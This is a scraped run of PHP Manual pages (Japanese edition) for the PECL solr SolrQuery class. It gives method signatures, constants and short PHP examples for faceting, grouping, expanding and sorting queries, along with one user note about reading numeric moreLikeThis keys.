public setTermsIncludeLowerBound ( bool $flag ) : SolrQuery
public setTermsIncludeUpperBound ( bool $flag ) : SolrQuery
public setTermsLimit ( int $limit ) : SolrQuery
public setTermsLowerBound ( string $lowerBound ) : SolrQuery
public setTermsMaxCount ( int $frequency ) : SolrQuery
public setTermsMinCount ( int $frequency ) : SolrQuery
public setTermsPrefix ( string $prefix ) : SolrQuery
public setTermsReturnRaw ( bool $flag ) : SolrQuery
public setTermsSort ( int $sortType ) : SolrQuery
public setTermsUpperBound ( string $upperBound ) : SolrQuery
public setTimeAllowed ( int $timeAllowed ) : SolrQuery
/* 継承したメソッド */
public SolrModifiableParams::__construct ( )
public SolrModifiableParams::__destruct ( ) : void
}

定義済み定数

SolrQuery::ORDER_ASC

Used to specify that the sorting should be in acending order

SolrQuery::ORDER_DESC

Used to specify that the sorting should be in descending order

SolrQuery::FACET_SORT_INDEX

Used to specify that the facet should sort by index

SolrQuery::FACET_SORT_COUNT

Used to specify that the facet should sort by count

SolrQuery::TERMS_SORT_INDEX

Used in the TermsComponent

SolrQuery::TERMS_SORT_COUNT

Used in the TermsComponent

目次

  • SolrQuery::addExpandFilterQuery — Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::addExpandSortField — Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::addFacetDateField — Maps to facet.date
  • SolrQuery::addFacetDateOther — Adds another facet.date.other parameter
  • SolrQuery::addFacetField — Adds another field to the facet
  • SolrQuery::addFacetQuery — Adds a facet query
  • SolrQuery::addField — Specifies which fields to return in the result
  • SolrQuery::addFilterQuery — Specifies a filter query
  • SolrQuery::addGroupField — Add a field to be used to group results
  • SolrQuery::addGroupFunction — Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery — Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField — Add a group sort field (group.sort parameter)
  • SolrQuery::addHighlightField — Maps to hl.fl
  • SolrQuery::addMltField — Sets a field to use for similarity
  • SolrQuery::addMltQueryField — Maps to mlt.qf
  • SolrQuery::addSortField — Used to control how the results should be sorted
  • SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet
  • SolrQuery::addStatsField — Maps to stats.field parameter
  • SolrQuery::collapse — Collapses the result set to a single document per group
  • SolrQuery::__construct — コンストラクタ
  • SolrQuery::__destruct — デストラクタ
  • SolrQuery::getExpand — Returns true if group expanding is enabled
  • SolrQuery::getExpandFilterQueries — Returns the expand filter queries
  • SolrQuery::getExpandQuery — Returns the expand query expand.q parameter
  • SolrQuery::getExpandRows — Returns The number of rows to display in each group (expand.rows)
  • SolrQuery::getExpandSortFields — Returns an array of fields
  • SolrQuery::getFacet — Returns the value of the facet parameter
  • SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter
  • SolrQuery::getFacetDateFields — Returns all the facet.date fields
  • SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter
  • SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter
  • SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter
  • SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field
  • SolrQuery::getFacetFields — Returns all the facet fields
  • SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields
  • SolrQuery::getFacetMethod — Returns the value of the facet.method parameter
  • SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response
  • SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter
  • SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination
  • SolrQuery::getFacetPrefix — Returns the facet prefix
  • SolrQuery::getFacetQueries — Returns all the facet queries
  • SolrQuery::getFacetSort — Returns the facet sort type
  • SolrQuery::getFields — Returns the list of fields that will be returned in the response
  • SolrQuery::getFilterQueries — Returns an array of filter queries
  • SolrQuery::getGroup — Returns true if grouping is enabled
  • SolrQuery::getGroupCachePercent — Returns group cache percent value
  • SolrQuery::getGroupFacet — Returns the group.facet parameter value
  • SolrQuery::getGroupFields — Returns group fields (group.field parameter values)
  • SolrQuery::getGroupFormat — Returns the group.format value
  • SolrQuery::getGroupFunctions — Returns group functions (group.func parameter values)
  • SolrQuery::getGroupLimit — Returns the group.limit value
  • SolrQuery::getGroupMain — Returns the group.main value
  • SolrQuery::getGroupNGroups — Returns the group.ngroups value
  • SolrQuery::getGroupOffset — Returns the group.offset value
  • SolrQuery::getGroupQueries — Returns all the group.query parameter values
  • SolrQuery::getGroupSortFields — Returns the group.sort value
  • SolrQuery::getGroupTruncate — Returns the group.truncate value
  • SolrQuery::getHighlight — Returns the state of the hl parameter
  • SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default
  • SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for
  • SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output
  • SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text
  • SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting
  • SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries
  • SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return
  • SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets
  • SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment
  • SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter
  • SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting
  • SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size
  • SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field
  • SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term
  • SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term
  • SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field
  • SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter
  • SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled
  • SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance
  • SolrQuery::getMltCount — Returns the number of similar documents to return for each result
  • SolrQuery::getMltFields — Returns all the fields to use for similarity
  • SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query
  • SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support
  • SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored
  • SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs
  • SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document
  • SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored
  • SolrQuery::getMltQueryFields — Returns the query fields and their boosts
  • SolrQuery::getQuery — 主なクエリーを返す
  • SolrQuery::getRows — Returns the maximum number of documents
  • SolrQuery::getSortFields — Returns all the sort fields
  • SolrQuery::getStart — Returns the offset in the complete result set
  • SolrQuery::getStats — Returns whether or not stats is enabled
  • SolrQuery::getStatsFacets — Returns all the stats facets that were set
  • SolrQuery::getStatsFields — Returns all the statistics fields
  • SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled
  • SolrQuery::getTermsField — Returns the field from which the terms are retrieved
  • SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set
  • SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set
  • SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return
  • SolrQuery::getTermsLowerBound — Returns the term to start at
  • SolrQuery::getTermsMaxCount — Returns the maximum document frequency
  • SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included
  • SolrQuery::getTermsPrefix — Returns the term prefix
  • SolrQuery::getTermsReturnRaw — Whether or not to return raw characters
  • SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted
  • SolrQuery::getTermsUpperBound — Returns the term to stop at
  • SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish
  • SolrQuery::removeExpandFilterQuery — Removes an expand filter query
  • SolrQuery::removeExpandSortField — Removes an expand sort field from the expand.sort parameter
  • SolrQuery::removeFacetDateField — Removes one of the facet date fields
  • SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters
  • SolrQuery::removeFacetField — Removes one of the facet.date parameters
  • SolrQuery::removeFacetQuery — Removes one of the facet.query parameters
  • SolrQuery::removeField — Removes a field from the list of fields
  • SolrQuery::removeFilterQuery — Removes a filter query
  • SolrQuery::removeHighlightField — Removes one of the fields used for highlighting
  • SolrQuery::removeMltField — Removes one of the moreLikeThis fields
  • SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields
  • SolrQuery::removeSortField — Removes one of the sort fields
  • SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters
  • SolrQuery::removeStatsField — Removes one of the stats.field parameters
  • SolrQuery::setEchoHandler — Toggles the echoHandler parameter
  • SolrQuery::setEchoParams — Determines what kind of parameters to include in the response
  • SolrQuery::setExpand — Enables/Disables the Expand Component
  • SolrQuery::setExpandQuery — Sets the expand.q parameter
  • SolrQuery::setExpandRows — Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExplainOther — Sets the explainOther common query parameter
  • SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting
  • SolrQuery::setFacetDateEnd — Maps to facet.date.end
  • SolrQuery::setFacetDateGap — Maps to facet.date.gap
  • SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend
  • SolrQuery::setFacetDateStart — Maps to facet.date.start
  • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count
  • SolrQuery::setFacetLimit — Maps to facet.limit
  • SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field
  • SolrQuery::setFacetMinCount — Maps to facet.mincount
  • SolrQuery::setFacetMissing — Maps to facet.missing
  • SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination
  • SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet
  • SolrQuery::setFacetSort — Determines the ordering of the facet field constraints
  • SolrQuery::setGroup — Enable/Disable result grouping (group parameter)
  • SolrQuery::setGroupCachePercent — Enables caching for result grouping
  • SolrQuery::setGroupFacet — Sets group.facet parameter
  • SolrQuery::setGroupFormat — Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupLimit — Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain — If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups — If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupOffset — Sets the group.offset parameter
  • SolrQuery::setGroupTruncate — If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setHighlight — Enables or disables highlighting
  • SolrQuery::setHighlightAlternateField — Specifies the backup field to use
  • SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output
  • SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text
  • SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting
  • SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms
  • SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return
  • SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets
  • SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment
  • SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze
  • SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting
  • SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size
  • SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting
  • SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term
  • SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term
  • SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field
  • SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase
  • SolrQuery::setMlt — Enables or disables moreLikeThis
  • SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance
  • SolrQuery::setMltCount — Set the number of similar documents to return for each result
  • SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included
  • SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse
  • SolrQuery::setMltMaxWordLength — Sets the maximum word length
  • SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency
  • SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs
  • SolrQuery::setMltMinWordLength — Sets the minimum word length
  • SolrQuery::setOmitHeader — Exclude the header from the returned results
  • SolrQuery::setQuery — 検索クエリーを設定
  • SolrQuery::setRows — Specifies the maximum number of rows to return in the result
  • SolrQuery::setShowDebugInfo — Flag to show debug information
  • SolrQuery::setStart — Specifies the number of rows to skip
  • SolrQuery::setStats — Enables or disables the Stats component
  • SolrQuery::setTerms — Enables or disables the TermsComponent
  • SolrQuery::setTermsField — Sets the name of the field to get the Terms from
  • SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set
  • SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set
  • SolrQuery::setTermsLimit — Sets the maximum number of terms to return
  • SolrQuery::setTermsLowerBound — Specifies the Term to start from
  • SolrQuery::setTermsMaxCount — Sets the maximum document frequency
  • SolrQuery::setTermsMinCount — Sets the minimum document frequency
  • SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix
  • SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term
  • SolrQuery::setTermsSort — Specifies how to sort the returned terms
  • SolrQuery::setTermsUpperBound — Sets the term to stop at
  • SolrQuery::setTimeAllowed — The time allowed for search to finish

User Contributed Notes

andy at borkedcoder dot com 29-Jan-2012 11:36
Note - if using morelikethis, and your query is on a numeric ID, then you will not be able to access the moreLikeThis object in the results...

when q=id:3493 searching with mlt, result is:

SolrObject Object
(
...
    [moreLikeThis] => SolrObject Object
        (
            [3493] => SolrObject Object
                (
                    [numFound] => 6286
                    [start] => 0
                    [docs] => Array
                        (
....etc

the numeric object name (3493 above) is impossible to access

not by $response->moreLikeThis->{3493} nor $response->moreLikeThis->{'3493'}, nothing...

only way is to convert the moreLikeThis object into an array with:
$response_array = (array) $response->moreLikeThis;

then iterate the array as the array key is known.


Overrides main filter query, determines which documents to include in the main group

  • ≪ SolrQuery
  • SolrQuery::addExpandSortField ≫
  • PHP Manual
  • SolrQuery
  • Overrides main filter query, determines which documents to include in the main group

SolrQuery::addExpandFilterQuery

(PECL solr >= 2.2.0)

SolrQuery::addExpandFilterQuery — Overrides main filter query, determines which documents to include in the main group

説明

public SolrQuery::addExpandFilterQuery ( string $fq ) : SolrQuery

Overrides main filter query, determines which documents to include in the main group.

パラメータ

fq

返り値

SolrQuery

参考

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Orders the documents within the expanded groups (expand.sort parameter)

  • ≪ SolrQuery::addExpandFilterQuery
  • SolrQuery::addFacetDateField ≫
  • PHP Manual
  • SolrQuery
  • Orders the documents within the expanded groups (expand.sort parameter)

SolrQuery::addExpandSortField

(PECL solr >= 2.2.0)

SolrQuery::addExpandSortField — Orders the documents within the expanded groups (expand.sort parameter)

説明

public SolrQuery::addExpandSortField ( string $field , string $order = ? ) : SolrQuery

Orders the documents within the expanded groups (expand.sort parameter).

パラメータ

field

field name

order

Order ASC/DESC, utilizes SolrQuery::ORDER_* constants.

Default: SolrQuery::ORDER_DESC

返り値

SolrQuery

参考

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date

  • ≪ SolrQuery::addExpandSortField
  • SolrQuery::addFacetDateOther ≫
  • PHP Manual
  • SolrQuery
  • Maps to facet.date

SolrQuery::addFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateField — Maps to facet.date

説明

public SolrQuery::addFacetDateField ( string $dateField ) : SolrQuery

This method allows you to specify a field which should be treated as a facet.

It can be used multiple times with different field names to indicate multiple facet fields

パラメータ

dateField

The name of the date field.

返り値

Returns a SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Adds another facet.date.other parameter

  • ≪ SolrQuery::addFacetDateField
  • SolrQuery::addFacetField ≫
  • PHP Manual
  • SolrQuery
  • Adds another facet.date.other parameter

SolrQuery::addFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateOther — Adds another facet.date.other parameter

説明

public SolrQuery::addFacetDateOther ( string $value , string $field_override = ? ) : SolrQuery

Sets the facet.date.other parameter. Accepts an optional field override

パラメータ

value

The value to use.

field_override

The field name for the override.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Adds another field to the facet

  • ≪ SolrQuery::addFacetDateOther
  • SolrQuery::addFacetQuery ≫
  • PHP Manual
  • SolrQuery
  • Adds another field to the facet

SolrQuery::addFacetField

(PECL solr >= 0.9.2)

SolrQuery::addFacetField — Adds another field to the facet

説明

public SolrQuery::addFacetField ( string $field ) : SolrQuery

Adds another field to the facet

パラメータ

field

The name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

例

例1 SolrQuery::addFacetField() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery($query);

$query->addField('price')->addField('color');

$query->setFacet(true);

$query->addFacetField('price')->addFacetField('color');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response['facet_counts']['facet_fields']);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [color] => SolrObject Object
        (
            [blue] => 20
            [green] => 100
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Adds a facet query

  • ≪ SolrQuery::addFacetField
  • SolrQuery::addField ≫
  • PHP Manual
  • SolrQuery
  • Adds a facet query

SolrQuery::addFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::addFacetQuery — Adds a facet query

説明

public SolrQuery::addFacetQuery ( string $facetQuery ) : SolrQuery

Adds a facet query

パラメータ

facetQuery

The facet query

返り値

Returns the current SolrQuery object, if the return value is used.

例

例1 SolrQuery::addFacetField() example

<?php

$options = array
(
        'hostname' => SOLR_SERVER_HOSTNAME,
        'login'    => SOLR_SERVER_USERNAME,
        'password' => SOLR_SERVER_PASSWORD,
        'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetQuery('price:[* TO 500]')->addFacetQuery('price:[500 TO *]');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response->facet_counts->facet_queries);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [price:[* TO 500]] => 14
    [price:[500 TO *]] => 2
)

User Contributed Notes

There are no user contributed notes for this page.


Specifies which fields to return in the result

  • ≪ SolrQuery::addFacetQuery
  • SolrQuery::addFilterQuery ≫
  • PHP Manual
  • SolrQuery
  • Specifies which fields to return in the result

SolrQuery::addField

(PECL solr >= 0.9.2)

SolrQuery::addField — Specifies which fields to return in the result

説明

public SolrQuery::addField ( string $field ) : SolrQuery

This method is used to used to specify a set of fields to return, thereby restricting the amount of data returned in the response.

It should be called multiple time, once for each field name.

パラメータ

field

The name of the field

返り値

Returns the current SolrQuery object

User Contributed Notes

There are no user contributed notes for this page.


Specifies a filter query

  • ≪ SolrQuery::addField
  • SolrQuery::addGroupField ≫
  • PHP Manual
  • SolrQuery
  • Specifies a filter query

SolrQuery::addFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::addFilterQuery — Specifies a filter query

説明

public SolrQuery::addFilterQuery ( string $fq ) : SolrQuery

Specifies a filter query

パラメータ

fq

The filter query

返り値

Returns the current SolrQuery object.

例

例1 SolrQuery::addFilterQuery() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('*:*');

$query->addFilterQuery('color:blue,green');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response['facet_counts']['facet_fields']);

?>

上の例の出力は、 たとえば以下のようになります。

 &fq=color:blue,green

User Contributed Notes

There are no user contributed notes for this page.


Add a field to be used to group results

  • ≪ SolrQuery::addFilterQuery
  • SolrQuery::addGroupFunction ≫
  • PHP Manual
  • SolrQuery
  • Add a field to be used to group results

SolrQuery::addGroupField

(PECL solr >= 2.2.0)

SolrQuery::addGroupField — Add a field to be used to group results

説明

public SolrQuery::addGroupField ( string $value ) : SolrQuery

The name of the field by which to group results. The field must be single-valued, and either be indexed or a field type that has a value source and works in a function query, such as ExternalFileField. It must also be a string-based field, such as StrField or TextField Uses group.field parameter

パラメータ

value

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Allows grouping results based on the unique values of a function query (group.func parameter)

  • ≪ SolrQuery::addGroupField
  • SolrQuery::addGroupQuery ≫
  • PHP Manual
  • SolrQuery
  • Allows grouping results based on the unique values of a function query (group.func parameter)

SolrQuery::addGroupFunction

(PECL solr >= 2.2.0)

SolrQuery::addGroupFunction — Allows grouping results based on the unique values of a function query (group.func parameter)

説明

public SolrQuery::addGroupFunction ( string $value ) : SolrQuery

Adds a group function (group.func parameter) Allows grouping results based on the unique values of a function query.

パラメータ

value

返り値

SolrQuery

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Allows grouping of documents that match the given query

  • ≪ SolrQuery::addGroupFunction
  • SolrQuery::addGroupSortField ≫
  • PHP Manual
  • SolrQuery
  • Allows grouping of documents that match the given query

SolrQuery::addGroupQuery

(PECL solr >= 2.2.0)

SolrQuery::addGroupQuery — Allows grouping of documents that match the given query

説明

public SolrQuery::addGroupQuery ( string $value ) : SolrQuery

Allows grouping of documents that match the given query. Adds query to the group.query parameter

パラメータ

value

返り値

SolrQuery

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Add a group sort field (group.sort parameter)

  • ≪ SolrQuery::addGroupQuery
  • SolrQuery::addHighlightField ≫
  • PHP Manual
  • SolrQuery
  • Add a group sort field (group.sort parameter)

SolrQuery::addGroupSortField

(PECL solr >= 2.2.0)

SolrQuery::addGroupSortField — Add a group sort field (group.sort parameter)

説明

public SolrQuery::addGroupSortField ( string $field , int $order = ? ) : SolrQuery

Allow sorting group documents, using group sort field (group.sort parameter).

パラメータ

field

Field name

order

Order ASC/DESC, utilizes SolrQuery::ORDER_* constants

返り値

例

例1 SolrQuery::addGroupSortField() example

<?php

$solrQuery = new SolrQuery('*:*');
$solrQuery
    ->setGroup(true)
    ->addGroupSortField('price', SolrQuery::ORDER_ASC);

echo $solrQuery;
?>

上の例の出力は、 たとえば以下のようになります。

q=*:*&group=true&group.sort=price asc

参考

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Maps to hl.fl

  • ≪ SolrQuery::addGroupSortField
  • SolrQuery::addMltField ≫
  • PHP Manual
  • SolrQuery
  • Maps to hl.fl

SolrQuery::addHighlightField

(PECL solr >= 0.9.2)

SolrQuery::addHighlightField — Maps to hl.fl

説明

public SolrQuery::addHighlightField ( string $field ) : SolrQuery

Maps to hl.fl. This is used to specify that highlighted snippets should be generated for a particular field

パラメータ

field

Name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets a field to use for similarity

  • ≪ SolrQuery::addHighlightField
  • SolrQuery::addMltQueryField ≫
  • PHP Manual
  • SolrQuery
  • Sets a field to use for similarity

SolrQuery::addMltField

(PECL solr >= 0.9.2)

SolrQuery::addMltField — Sets a field to use for similarity

説明

public SolrQuery::addMltField ( string $field ) : SolrQuery

Maps to mlt.fl. It specifies that a field should be used for similarity.

パラメータ

field

The name of the field

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to mlt.qf

  • ≪ SolrQuery::addMltField
  • SolrQuery::addSortField ≫
  • PHP Manual
  • SolrQuery
  • Maps to mlt.qf

SolrQuery::addMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::addMltQueryField — Maps to mlt.qf

説明

public SolrQuery::addMltQueryField ( string $field , float $boost ) : SolrQuery

Maps to mlt.qf. It is used to specify query fields and their boosts

パラメータ

field

The name of the field

boost

Its boost value

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Used to control how the results should be sorted

  • ≪ SolrQuery::addMltQueryField
  • SolrQuery::addStatsFacet ≫
  • PHP Manual
  • SolrQuery
  • Used to control how the results should be sorted

SolrQuery::addSortField

(PECL solr >= 0.9.2)

SolrQuery::addSortField — Used to control how the results should be sorted

説明

public SolrQuery::addSortField ( string $field , int $order = SolrQuery::ORDER_DESC ) : SolrQuery

Used to control how the results should be sorted.

パラメータ

field

The name of the field

order

The sort direction. This should be either SolrQuery::ORDER_ASC or SolrQuery::ORDER_DESC.

返り値

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Requests a return of sub results for values within the given facet

